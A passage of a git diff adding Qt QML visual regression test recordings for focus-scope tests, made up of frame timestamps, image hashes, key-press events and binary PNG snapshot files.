"bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 48 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 64 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 80 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 96 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 112 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 128 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 144 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 160 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 176 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 192 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 208 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 224 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 240 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 256 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 272 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 288 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 304 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 320 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 336 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 352 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 368 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 384 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 400 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 416 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 432 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 448 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 464 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 480 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 496 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 512 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 528 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 544 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 560 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 576 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 592 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 608 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 624 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 640 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 656 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 672 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 688 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 704 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 720 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 736 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 752 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 768 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 784 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 800 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 816 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 832 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 848 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 864 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 880 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 896 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 912 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 928 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 944 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 960 + image: "test2.0.png" + } + Frame { + msec: 976 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 992 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1008 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1024 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1040 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1056 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1072 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1088 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1104 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1120 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1136 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1152 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1168 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1184 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1200 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1216 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1232 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1248 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1264 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1280 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1296 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1312 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1328 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1344 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1360 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1376 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1392 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1408 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1424 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1440 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1456 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1472 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1488 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1504 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1520 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1536 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1552 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1568 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1584 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1600 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1616 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1632 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1648 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1664 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1680 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1696 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1712 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1728 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1744 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1760 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1776 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1792 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1808 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1824 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1840 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1856 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1872 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1888 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1904 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1920 + image: "test2.1.png" + } + Frame { + msec: 1936 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1952 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1968 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 1984 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2000 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2016 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2032 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2048 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2064 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2080 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2096 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2112 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2128 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2144 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2160 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2176 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2192 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2208 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2224 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2240 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2256 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2288 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2304 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2320 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2336 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2352 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 2368 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png new file mode 100644 index 0000000..374acf5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png new file mode 100644 index 0000000..b75cb10 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png new file mode 100644 index 0000000..9b2f919 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png new file mode 100644 index 0000000..bf63032 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png new file mode 100644 index 0000000..6981a06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.5.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.5.png new file mode 100644 index 0000000..5856325 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.6.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.6.png new file mode 100644 index 0000000..9b2f919 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.6.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.7.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.7.png new file mode 100644 index 0000000..b75cb10 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.7.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.8.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.8.png new file mode 100644 index 0000000..374acf5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.8.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.9.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.9.png new file mode 100644 index 0000000..11a08bd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test3.9.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml new file mode 100644 index 0000000..8ce7944 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml @@ -0,0 +1,2879 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 32 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 48 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 64 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 80 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 96 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 112 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 128 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 144 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 160 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 176 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 192 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 208 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 224 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 240 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 256 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 272 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 288 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 304 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 320 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 336 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 352 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 368 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 384 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 400 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 416 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 432 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 448 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 464 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 480 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 496 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 512 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 528 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 544 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 560 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 576 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Frame { + msec: 592 + hash: "f192b84337784a6d31c309af7e32b5f7" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 608 + hash: "c114718c158f107e8a7d06bf49d30855" + } + Frame { + msec: 624 + hash: "c71bf3c6ef7addc3c1f55e3f92c001ac" + } + Frame { + msec: 640 + hash: "b075c33ed606041dfb57a03f92cf5574" + } + Frame { + msec: 656 + hash: "1933a060fc0b889082df94054a2d3c7e" + } + Frame { + msec: 672 + hash: "cc4133e796a242493538131c789c392c" + } + Frame { + msec: 688 + hash: "cbc16ad8bcb8dcf73ae101ca4899adac" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "1a5e008ef5640ad85a19b307244a36f7" + } + Frame { + msec: 720 + hash: "6a0c9d0f3ac068d65d590c844dae4ebb" + } + Frame { + msec: 736 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 752 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 768 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 784 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 800 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 816 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 832 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 848 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 864 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 880 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 896 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 912 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 928 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 944 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 960 + image: "test3.0.png" + } + Frame { + msec: 976 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 992 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1008 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1024 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1040 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1056 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1072 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Frame { + msec: 1088 + hash: "216a02433edb100e6ff3db4944f6b061" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1104 + hash: "ac2f6e2f5f379ad8717aa3754f2aab80" + } + Frame { + msec: 1120 + hash: "e896c5b5a4fd121e5c25aba0a17c11f3" + } + Frame { + msec: 1136 + hash: "1d1228cf0b205e46a969a0016245bb9e" + } + Frame { + msec: 1152 + hash: "d07b1d53655e549c503223fddfa62038" + } + Frame { + msec: 1168 + hash: "d774614f13d1a19eff3c451c4abce7e5" + } + Frame { + msec: 1184 + hash: "0e8445283c961a41c22ede2f26ab0d0c" + } + Frame { + msec: 1200 + hash: "f85ced79a9d521b70b093d43d1335914" + } + Frame { + msec: 1216 + hash: "3f70531768847686f202336827ed5c51" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1232 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1248 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1264 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1280 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1296 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1312 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1328 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1344 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1360 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1376 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1392 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1408 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1424 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1440 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1456 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1472 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1488 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1504 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Frame { + msec: 1520 + hash: "30c5f9005238542c83b2d994cb61de16" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1536 + hash: "c59557a62fb22756ecae00bf36589f19" + } + Frame { + msec: 1552 + hash: "c2938aac121e121eb138b2cdc485a23c" + } + Frame { + msec: 1568 + hash: "aa582bd07789a0ce000bb014b4924969" + } + Frame { + msec: 1584 + hash: "59d7a7fed20a11ecb12de08c77f0f303" + } + Frame { + msec: 1600 + hash: "9a1d7649e44e2c2436855b92abbae030" + } + Frame { + msec: 1616 + hash: "e46c47a221da37bbdffcdf671e84774b" + } + Frame { + msec: 1632 + hash: "85ff7ef61ef08dc97065b0536f9f8766" + } + Frame { + msec: 1648 + hash: "1159f274e5c2947875484d04a3ac6694" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1680 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1696 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1712 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1728 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1744 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1760 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1776 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1792 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1808 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1824 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1840 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1856 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1872 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1888 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1904 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1920 + image: "test3.1.png" + } + Frame { + msec: 1936 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1952 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1968 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 1984 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Frame { + msec: 2000 + hash: "113dd40f9b5c9869ad04a00dda9078c6" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2016 + hash: "26e5e7612374c7a4f7ac26a284c735b4" + } + Frame { + msec: 2032 + hash: "03c63a8bab380ebcd02f2bf2f588df85" + } + Frame { + msec: 2048 + hash: "1a7c4738de4f1123c7e639c935095476" + } + Frame { + msec: 2064 + hash: "8362cb8a253dcb2e9ef7fb070579d639" + } + Frame { + msec: 2080 + hash: "8fae548ad1f2e16738c14636b905efef" + } + Frame { + msec: 2096 + hash: "05fca78fea63817204b2303495baaec7" + } + Frame { + msec: 2112 + hash: "5bf7b04177db667f23f1bc4f0066bc44" + } + Frame { + msec: 2128 + hash: "aa10d0614604f0563d4fc458b7bb9260" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2144 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2160 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2176 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2192 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2208 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2224 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2240 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2256 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2272 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2288 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2304 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2320 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2336 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2352 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2368 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2384 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2400 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2416 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2432 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2448 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2464 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2480 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2496 + hash: "0461d0e31648d2c155bee0145094c153" + } + Frame { + msec: 2512 + hash: "0461d0e31648d2c155bee0145094c153" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2528 + hash: "1823a5c00778550c6b46416e6a2b730f" + } + Frame { + msec: 2544 + hash: "7ca64f71eee9d3a926335de026be5fe2" + } + Frame { + msec: 2560 + hash: "5f9e44b8374a490793b479440ce3b701" + } + Frame { + msec: 2576 + hash: "b0969884a9654d87da9941fb9eb4c99a" + } + Frame { + msec: 2592 + hash: "aeadf244a67b3c9e5c119b52aa0f15a0" + } + Frame { + msec: 2608 + hash: "2d990e5ae8d3660079bdea7f2b5245a7" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2624 + hash: "5998faffa17f9ffbf1cb39cdc09cdd54" + } + Frame { + msec: 2640 + hash: "bf8089df5d863f627cd44294f322d796" + } + Frame { + msec: 2656 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2672 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2688 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2704 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2720 + hash: "f75305426b87e1cdc325ae6668367be9" + } + Frame { + msec: 2736 + hash: 